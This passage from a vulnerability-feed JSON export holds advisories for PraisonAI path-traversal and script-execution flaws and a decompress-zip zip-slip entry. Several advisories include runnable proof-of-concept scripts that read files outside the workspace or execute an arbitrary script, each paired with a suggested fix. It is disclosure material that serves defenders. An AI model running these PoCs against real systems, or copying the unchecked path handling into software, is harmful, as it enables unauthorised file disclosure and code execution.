context,\n                    \"contains_outside_canary\": CANARY in context,\n                }\n                for name, context in contexts.items()\n            },\n            \"captured_logs\": logs,\n        }\n\n        print(json.dumps(redact(output, temp_root, source_file), indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```","cveId":"CVE-2026-61431","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","severity":"medium","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-200","CWE-22"],"tags":["osv","osv:ghsa-q7m5-3jmv-vm48","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-q7m5-3jmv-vm48","type":"advisory","title":"OSV GHSA-q7m5-3jmv-vm48"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q7m5-3jmv-vm48","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61431","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-contextgatherer","type":"other","title":"OSV web"}],"epssScore":0.00352,"epssPercentile":0.26825,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:58:30.000Z","addedAt":"2026-10-08T18:42:41.799Z","updatedAt":"2026-10-08T18:42:41.799Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61431","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61431","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-q7m5-3jmv-vm48"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-q7m5-3jmv-vm48"}]},{"id":"605d96e8-9bd5-4b29-963c-6c633c35f77c","slug":"cve-2026-60088","externalId":"GHSA-xpx6-x8c2-mw5w","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: Project custom command templates can read outside-workspace files into model prompts","description":"# Project custom command templates can read outside-workspace files into model prompts\n\n## Summary\n\nPraisonAI's new file-based custom command feature auto-discovers project commands from `.praisonai/commands/*.md`. When a user runs `praisonai run --command <name>` inside a repository, the command body is interpolated before it is sent as the model prompt.\n\nThe interpolation code expands `@path` references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore include `@../outside_secret.txt` or an absolute path and cause PraisonAI to copy process-readable files outside the workspace into the prompt.\n\nThis is a confidentiality issue in the untrusted-repository workflow: a project can make a normal-looking custom command exfiltrate local files to whichever model/provider receives the generated prompt.\n\n## Technical Details\n\nThe feature was introduced by commit `88cf0c29` (`feat: file-based custom agents and reusable commands with auto-discovery (#2035)`) and is present on current main:\n\n```text\ncurrent commit: 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\ncurrent describe: v4.6.64-8-g3aa9cbc2\n```\n\n`src/praisonai/praisonai/cli/features/custom_definitions.py` discovers project-level definitions by walking upward from `Path.cwd()` to the git root and loading `.praisonai/commands/*.md`. Project commands override user-global commands.\n\n`interpolate_command_template()` loads the selected command and passes the command body to the interpolator with `Path.cwd()` as the working directory:\n\n```python\nreturn interpolator.interpolate(command.template, arguments, Path.cwd())\n```\n\n`TemplateInterpolator._interpolate_files()` then matches every `@([^\\s]+)` token and reads the referenced file:\n\n```python\nif working_dir:\n    file_path = working_dir / file_path_str\nelse:\n    file_path = Path(file_path_str)\n\nif file_path.exists() and file_path.is_file():\n    with open(file_path, 'r') as f:\n        return f.read()\n```\n\nThere is no `resolve()` call and no containment check against the project root. In Python, `Path.cwd() / \"/absolute/path\"` returns the absolute path, and parent traversal such as `../outside_secret.txt` resolves outside the workspace when opened.\n\nThe sink is in `src/praisonai/praisonai/cli/commands/run.py`: the `--command` path calls `interpolate_command_template()`, then passes the fully interpolated prompt to `_run_prompt()`.\n\n## PoV\n\nA minimal vulnerable repository only needs a project command template and an outside file:\n\n```text\nworkspace/\n  .git/\n  .praisonai/\n    commands/\n      relative_escape.md   # contains @../outside_secret.txt\n      absolute_escape.md   # contains an absolute path outside workspace\n  inside.txt\noutside_secret.txt\n```\n\nWhen the operator runs the project command, PraisonAI discovers `.praisonai/commands/*.md`, interpolates the template with `Path.cwd()` as the working directory, reads the outside file, and passes the resulting prompt to `_run_prompt()`.\n\nThe controls in the PoC below show the expected asymmetry: an in-workspace file expands, a missing file remains literal, shell substitution is escaped, and both parent traversal and absolute outside-file references disclose the outside canary.\n\n## PoC\n\nFrom a fresh PraisonAI checkout, run the following command. The checkout path is passed as the first Python argument, and the script sets up the source import path itself; no hidden `PYTHONPATH` setup is required.\n\n```bash\ngit clone https://github.com/MervinPraison/PraisonAI.git\ncd PraisonAI\ngit checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n\npython3 - \"$PWD\" <<'PY'\nfrom __future__ import annotations\n\nimport importlib.util\nimport json\nimport os\nimport subprocess\nimport sys\nimport tempfile\nimport types\nfrom pathlib import Path\n\n\nCANARY = \"PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\"\n\n\ndef install_yaml_fallback_if_needed() -> str:\n    if importlib.util.find_spec(\"yaml\") is not None:\n        return \"installed\"\n\n    yaml_stub = types.ModuleType(\"yaml\")\n\n    class YAMLError(Exception):\n        pass\n\n    def safe_load(text: str):\n        data = {}\n        for raw_line in text.splitlines():\n            line = raw_line.strip()\n            if not line or line.startswith(\"#\") or \":\" not in line:\n                continue\n            key, value = line.split(\":\", 1)\n            data[key.strip()] = value.strip().strip(\"'\\\"\")\n        return data\n\n    yaml_stub.safe_load = safe_load\n    yaml_stub.YAMLError = YAMLError\n    sys.modules[\"yaml\"] = yaml_stub\n    return \"stubbed\"\n\n\ndef add_source_to_path(source_root: Path) -> None:\n    candidate = source_root / \"src\" / \"praisonai\"\n    if (candidate / \"praisonai\").exists():\n        sys.path.insert(0, str(candidate))\n        return\n    raise SystemExit(f\"Could not find PraisonAI sources below {source_root}\")\n\n\nclass pushd:\n    def __init__(self, path: Path):\n        self.path = path\n        self.old = Path.cwd()\n\n    def __enter__(self):\n        os.chdir(self.path)\n\n    def __exit__(self, *_exc):\n        os.chdir(self.old)\n\n\ndef write_command(commands_dir: Path, name: str, body: str) -> None:\n    commands_dir.mkdir(parents=True, exist_ok=True)\n    (commands_dir / f\"{name}.md\").write_text(\n        \"---\\n\"\n        f\"description: {name}\\n\"\n        \"---\\n\"\n        f\"{body}\\n\",\n        encoding=\"utf-8\",\n    )\n\n\nsource_root = Path(sys.argv[1]).resolve()\nyaml_dependency = install_yaml_fallback_if_needed()\nadd_source_to_path(source_root)\n\nfrom praisonai.cli.features.custom_definitions import interpolate_command_template\n\nwith tempfile.TemporaryDirectory(prefix=\"praison-command-pov-\") as tmp:\n    temp_root = Path(tmp).resolve()\n    workspace = temp_root / \"workspace\"\n    workspace.mkdir()\n    subprocess.run([\"git\", \"init\", \"-q\"], cwd=workspace, check=True)\n\n    inside = workspace / \"inside.txt\"\n    outside = temp_root / \"outside_secret.txt\"\n    inside.write_text(\"INSIDE_FILE=allowed\\n\", encoding=\"utf-8\")\n    outside.write_text(f\"{CANARY}\\n\", encoding=\"utf-8\")\n\n    commands_dir = workspace / \".praisonai\" / \"commands\"\n    write_command(commands_dir, \"relative_escape\", \"Review outside:\\n@../outside_secret.txt\")\n    write_command(commands_dir, \"absolute_escape\", f\"Review absolute outside:\\n@{outside}\")\n    write_command(commands_dir, \"inside_control\", \"Review inside:\\n@inside.txt\")\n    write_command(commands_dir, \"missing_control\", \"Missing stays literal:\\n@missing.txt\")\n    write_command(commands_dir, \"shell_control\", \"Shell substitution is escaped:\\n$(touch SHOULD_NOT_EXIST)\")\n\n    with pushd(workspace):\n        relative_result = interpolate_command_template(\"relative_escape\", \"operator argument\")\n        absolute_result = interpolate_command_template(\"absolute_escape\", \"operator argument\")\n        inside_result = interpolate_command_template(\"inside_control\", \"operator argument\")\n        missing_result = interpolate_command_template(\"missing_control\", \"operator argument\")\n        shell_result = interpolate_command_template(\"shell_control\", \"operator argument\")\n\n    result = {\n        \"vulnerable\": all(\n            [\n                CANARY in (relative_result or \"\"),\n                CANARY in (absolute_result or \"\"),\n                \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n                \"@missing.txt\" in (missing_result or \"\"),\n                not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n            ]\n        ),\n        \"expectations\": {\n            \"relative_parent_traversal_discloses_outside_file\": CANARY in (relative_result or \"\"),\n            \"absolute_path_discloses_outside_file\": CANARY in (absolute_result or \"\"),\n            \"inside_control_expands_workspace_file\": \"INSIDE_FILE=allowed\" in (inside_result or \"\"),\n            \"missing_control_leaves_missing_reference\": \"@missing.txt\" in (missing_result or \"\"),\n            \"shell_control_does_not_create_file\": not (workspace / \"SHOULD_NOT_EXIST\").exists(),\n        },\n        \"samples\": {\n            \"relative_escape\": relative_result,\n            \"absolute_escape\": absolute_result,\n            \"inside_control\": inside_result,\n            \"missing_control\": missing_result,\n            \"shell_control\": shell_result,\n        },\n        \"yaml_dependency\": yaml_dependency,\n    }\n\nprint(json.dumps(result, indent=2, sort_keys=True))\nraise SystemExit(0 if result[\"vulnerable\"] else 1)\nPY\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"expectations\": {\n    \"absolute_path_discloses_outside_file\": true,\n    \"inside_control_expands_workspace_file\": true,\n    \"missing_control_leaves_missing_reference\": true,\n    \"relative_parent_traversal_discloses_outside_file\": true,\n    \"shell_control_does_not_create_file\": true\n  },\n  \"samples\": {\n    \"absolute_escape\": \"Review absolute outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"inside_control\": \"Review inside:\\nINSIDE_FILE=allowed\\n\",\n    \"missing_control\": \"Missing stays literal:\\n@missing.txt\",\n    \"relative_escape\": \"Review outside:\\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\\n\",\n    \"shell_control\": \"Shell substitution is escaped:\\n\\\\$(touch SHOULD_NOT_EXIST)\"\n  },\n  \"vulnerable\": true,\n  \"yaml_dependency\": \"installed\"\n}\n```\n\nThe PoC does not contact a model provider or any external service. It stops at the interpolation step that `praisonai run --command` uses before calling `_run_prompt()`.\n\n## Impact\n\nAn attacker who can supply or modify a repository can add a project command such as `.praisonai/commands/review.md` containing `@../outside_secret.txt` or another process-readable path outside the project. If the operator runs that project command, PraisonAI expands the outside file into the prompt. In normal use that prompt may be sent to a hosted model provider, logged, or displayed to a lower-trust caller.\n\nThis report claims confidentiality impact only. It does not claim code execution, arbitrary write, credential theft without user interaction, persistence, or network scanning.\n\nSuggested severity: Medium under the local untrusted-repository threat model because the operator must run a project-defined command.\n\nSuggested CVSS 3.1 vector:\n\n```text\nCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nResolve command `@path` references through a single containment helper before opening files:\n\n1. Resolve the project root or intended command workspace once.\n2. For relative references, join to that root and then call `resolve()`.\n3. For absolute references, either reject them outright or require `resolved.relative_to(root)` to succeed.\n4. Reject escaped files before any `exists()`, `is_file()`, or `open()` operation.\n5. Apply the same boundary to project and user command templates.\n6. Add regression tests for `@../outside.txt`, `@/absolute/outside.txt`, a valid in-workspace file, a missing file, and shell-substitution escaping.\n\nMinimal shape:\n\n```python\ndef resolve_command_file(root: Path, value: str) -> Path:\n    root = root.resolve()\n    candidate = Path(value)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"command file reference escapes workspace: {value}\") from exc\n    return resolved\n```\n\n## Affected Package/Versions\n\nThe feature was introduced by commit `88cf0c29`. Current release tags now contain that commit, and PyPI currently publishes `praisonai` through `4.6.71`.\n\n```text\nintroducing commit: 88cf0c29\nearliest affected release observed: v4.6.65\nlatest affected release observed: v4.6.71\nlatest PyPI version checked: 4.6.71\nunaffected sampled tag: v4.6.64\nfixed version: none identified yet\n```\n\nAffected package entry:\n\n```text\nEcosystem: pip\nPackage: praisonai\nVulnerable versions: >= 4.6.65\nPatched versions: none yet\n```\n\n## Advisory History\n\nNo checked PraisonAI private advisory matched `.praisonai/commands/*.md`, `praisonai.cli.features.custom_definitions`, or custom command template `@path` interpolation.\n\nThe closest comparator is `GHSA-2rcg-mm5h-xchx`, arbitrary file read via `@file:` mention path traversal. This report is distinct because it is triggered by project-level custom command templates discovered from `.praisonai/commands/*.md`, not by a direct `@file:` mention path. The vulnerable code path here is `TemplateInterpolator._interpolate_files()` in `custom_definitions.py`, introduced by `88cf0c29`, and the sink is `praisonai run --command`.\n\nOther checked PraisonAI advisories cover Platform authorization gaps, AgentMail unsigned webhooks, localhost Host-header auth bypass, ContextGatherer/FastContext path escapes, API deploy YAML-to-Python injection, MCP and recipe policy bypasses, Dynamic Context path traversal, and file-tool path traversal. None covers this custom command template interpolation path.\n\n## References\n\n- PraisonAI repository: https://github.com/MervinPraison/PraisonAI\n- Introducing commit `88cf0c29`: https://github.com/MervinPraison/PraisonAI/commit/88cf0c29\n- Current tested commit `3aa9cbc2bd49c23a32be0a89a5e620d13d843eab`: https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab\n- Comparator advisory `GHSA-2rcg-mm5h-xchx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2rcg-mm5h-xchx\n- PraisonAI security policy page: https://github.com/MervinPraison/PraisonAI/security/policy\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html","cveId":"CVE-2026-60088","cvssScore":null,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","severity":"medium","vendor":"PyPI","product":"praisonai","affectedVersions":["pkg:pypi/praisonai < 4.6.78"],"cwes":["CWE-200","CWE-22"],"tags":["osv","osv:ghsa-xpx6-x8c2-mw5w","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w","type":"advisory","title":"OSV GHSA-xpx6-x8c2-mw5w"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xpx6-x8c2-mw5w","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI/commit/3aa9cbc2bd49c23a32be0a89a5e620d13d843eab","type":"other","title":"OSV web"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-path-traversal-via-custom-commands","type":"other","title":"OSV web"}],"epssScore":0.00182,"epssPercentile":0.07105,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:57:49.000Z","addedAt":"2026-10-08T18:42:41.748Z","updatedAt":"2026-10-08T18:42:41.748Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-60088","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-60088","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-xpx6-x8c2-mw5w"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-xpx6-x8c2-mw5w"}]},{"id":"d5084648-82a6-413d-a638-19724b8800df","slug":"cve-2026-107709","externalId":"CVE-2026-107709","source":"NVD","sourceType":"cve-db","type":"vulnerability","title":"CVE-2026-107709 — A path traversal vulnerability exists in Bower decompress-zip through version 0.3.3.","description":"A path traversal vulnerability exists in Bower decompress-zip through version 0.3.3. The vulnerability located in `lib/decompress-zip.js` improperly validates archive entry paths during ZIP extraction. A crafted ZIP archive containing entries that resolve to prefix-sibling directories can cause files to be written outside the intended extraction directory. Successful exploitation may allow arbitrary file overwrite, application compromise, or remote code execution depending on the target environment and writable sibling paths.","cveId":"CVE-2026-107709","cvssScore":7.8,"cvssVector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","severity":"high","vendor":null,"product":null,"affectedVersions":[],"cwes":["CWE-22"],"tags":["nvd","status:received","status:deferred"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://github.com/bower/decompress-zip","type":"advisory","title":"cret@cert.org"},{"url":"https://moizxsec.github.io/writeups/decompress-zip-zip-slip-sibling-prefix-bypass/","type":"advisory","title":"cret@cert.org"}],"epssScore":null,"epssPercentile":null,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T17:17:16.293Z","addedAt":"2026-10-08T18:39:31.767Z","updatedAt":"2026-10-08T23:06:38.578Z","epssUpdatedAt":null,"nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107709","note":"ingested from NVD"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-107709","note":"authoritative record"}]},{"id":"597b769d-68bb-4237-98b3-3d7eae7cb5f0","slug":"cve-2026-61443","externalId":"GHSA-c44f-37qr-gw3f","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: SkillTools Executes Scripts Without Path Containment Validation","description":"### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges","cveId":"CVE-2026-61443","cvssScore":null,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","severity":"high","vendor":"PyPI","product":"praisonaiagents","affectedVersions":["pkg:pypi/praisonaiagents < 1.6.78"],"cwes":["CWE-22","CWE-78"],"tags":["osv","osv:ghsa-c44f-37qr-gw3f","ecosystem:pypi"],"relatedCves":[],"titleFingerprint":null,"countryCodes":[],"knownExploited":false,"patchAvailable":false,"patchLinks":[],"references":[{"url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f","type":"advisory","title":"OSV GHSA-c44f-37qr-gw3f"},{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f","type":"other","title":"OSV web"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61443","type":"advisory","title":"OSV advisory"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62168","type":"advisory","title":"OSV advisory"},{"url":"https://github.com/MervinPraison/PraisonAI","type":"vendor","title":"OSV package"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools","type":"other","title":"OSV web"}],"epssScore":0.00769,"epssPercentile":0.54219,"nucleiTemplatePath":null,"nucleiSeverity":null,"enrichment":null,"publishedAt":"2026-10-08T16:49:23.000Z","addedAt":"2026-10-08T18:42:42.638Z","updatedAt":"2026-10-08T18:42:42.638Z","epssUpdatedAt":"2026-10-08T12:00:21.000Z","nucleiUpdatedAt":null,"links":[{"label":"NVD","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61443","note":"may still be awaiting NVD analysis"},{"label":"CVE Program","url":"https://www.cve.org/CVERecord?id=CVE-2026-61443","note":"authoritative record"},{"label":"GitHub Advisory","url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f"},{"label":"OSV","url":"https://osv.dev/vulnerability/GHSA-c44f-37qr-gw3f"}]},{"id":"a9dfaca6-6186-46bf-a1ca-a09760e1d430","slug":"cve-2026-61432","externalId":"GHSA-4xxv-6wmf-xf45","source":"OSV","sourceType":"ghsa","type":"vulnerability","title":"PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace","description":"# FastContext path resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.\n\n## Technical Details\n\n`FastContextAgent` documents `workspace_path` as the \"Root directory for searches\" and stores it as an absolute path:\n\n```python\nclass FastContextAgent:\n    \"\"\"Specialized agent for fast parallel code search.\n\n    Attributes:\n        workspace_path: Root directory for searches\n    \"\"\"\n\n    def __init__(self, workspace_path: str, ...):\n        self.workspace_path = os.path.abspath(workspace_path)\n```\n\nThe same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace.\n\nThe problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:\n\n```python\nif tool_name in (\"grep_search\", \"glob_search\"):\n    if \"search_path\" not in kwargs or kwargs[\"search_path\"] == \".\":\n        kwargs[\"search_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"search_path\"]):\n        kwargs[\"search_path\"] = os.path.join(self.workspace_path, kwargs[\"search_path\"])\nelif tool_name == \"list_directory\":\n    if \"dir_path\" not in kwargs or kwargs[\"dir_path\"] == \".\":\n        kwargs[\"dir_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"dir_path\"]):\n        kwargs[\"dir_path\"] = os.path.join(self.workspace_path, kwargs[\"dir_path\"])\nelif tool_name == \"read_file\":\n    if \"filepath\" in kwargs and not os.path.isabs(kwargs[\"filepath\"]):\n        kwargs[\"filepath\"] = os.path.join(self.workspace_path, kwargs[\"filepath\"])\n```\n\nAs a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `<workspace>/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path.\n\nThe downstream tools do not enforce a FastContext workspace boundary:\n\n```python\ndef grep_search(search_path: str, pattern: str, ...):\n    search_path = os.path.abspath(search_path)\n    ...\n    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:\n        lines = f.readlines()\n```\n\n```python\ndef read_file(filepath: str, ...):\n    filepath = os.path.abspath(filepath)\n    ...\n    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:\n        lines = f.readlines()\n```\n\n```python\ndef list_directory(dir_path: str, ...):\n    dir_path = os.path.abspath(dir_path)\n    ...\n    for entry in os.scandir(path):\n        ...\n```\n\nThe model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`:\n\n```python\nresponse = model_client.chat.completions.create(\n    model=self.model,\n    messages=messages,\n    tools=[{\"type\": \"function\", \"function\": t} for t in self.get_tools()],\n    tool_choice=\"auto\"\n)\n...\nargs = json.loads(tool_call.function.arguments)\nbatch.add(tool_call.function.name, **args)\n...\ntool_results = self.coordinator.execute_turn_sync(batch)\n```\n\nThat path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`.\n\nThe public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as \"relative to workspace\", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check:\n\n```python\ndef read_context(self, filepath: str, ...):\n    full_path = filepath\n    if not os.path.isabs(filepath):\n        full_path = os.path.join(self.workspace_path, filepath)\n\n    result = read_file(full_path, ...)\n```\n\nThis behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.\n\n## PoV\n\nThe following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\nwith TemporaryDirectory() as tmp:\n    root = Path(tmp) / \"workspace\"\n    root.mkdir()\n    (root / \"inside.txt\").write_text(\"INSIDE_ONLY=workspace\\n\")\n    outside = Path(tmp) / \"outside-secret.txt\"\n    outside.write_text(CANARY + \"\\n\")\n\n    agent = FastContextAgent(str(root))\n\n    assert len(agent.search_simple(CANARY).files) == 0\n    assert \"INSIDE_ONLY=workspace\" in agent.execute_tool(\"read_file\", filepath=\"inside.txt\")[\"content\"]\n\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")[\"content\"]\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=str(outside))[\"content\"]\n    assert any(CANARY in match[\"content\"] for match in agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY))\n    assert any(match[\"path\"] == \"outside-secret.txt\" for match in agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\"))\n    assert any(entry[\"name\"] == \"outside-secret.txt\" for entry in agent.execute_tool(\"list_directory\", dir_path=\"..\")[\"entries\"])\n\n    fc = FastContext(workspace_path=str(root), cache_enabled=False)\n    assert CANARY in fc.read_context(\"../outside-secret.txt\")\n```\n\n## PoC\n\nSave the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai-agents\" python fastcontext_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"results\": {\n    \"absolute_read_discloses_canary\": true,\n    \"glob_parent_reveals_outside_file\": true,\n    \"grep_parent_discloses_canary\": true,\n    \"high_level_read_context_discloses_canary\": true,\n    \"inside_read_still_works\": true,\n    \"list_parent_reveals_outside_file\": true,\n    \"relative_traversal_read_discloses_canary\": true,\n    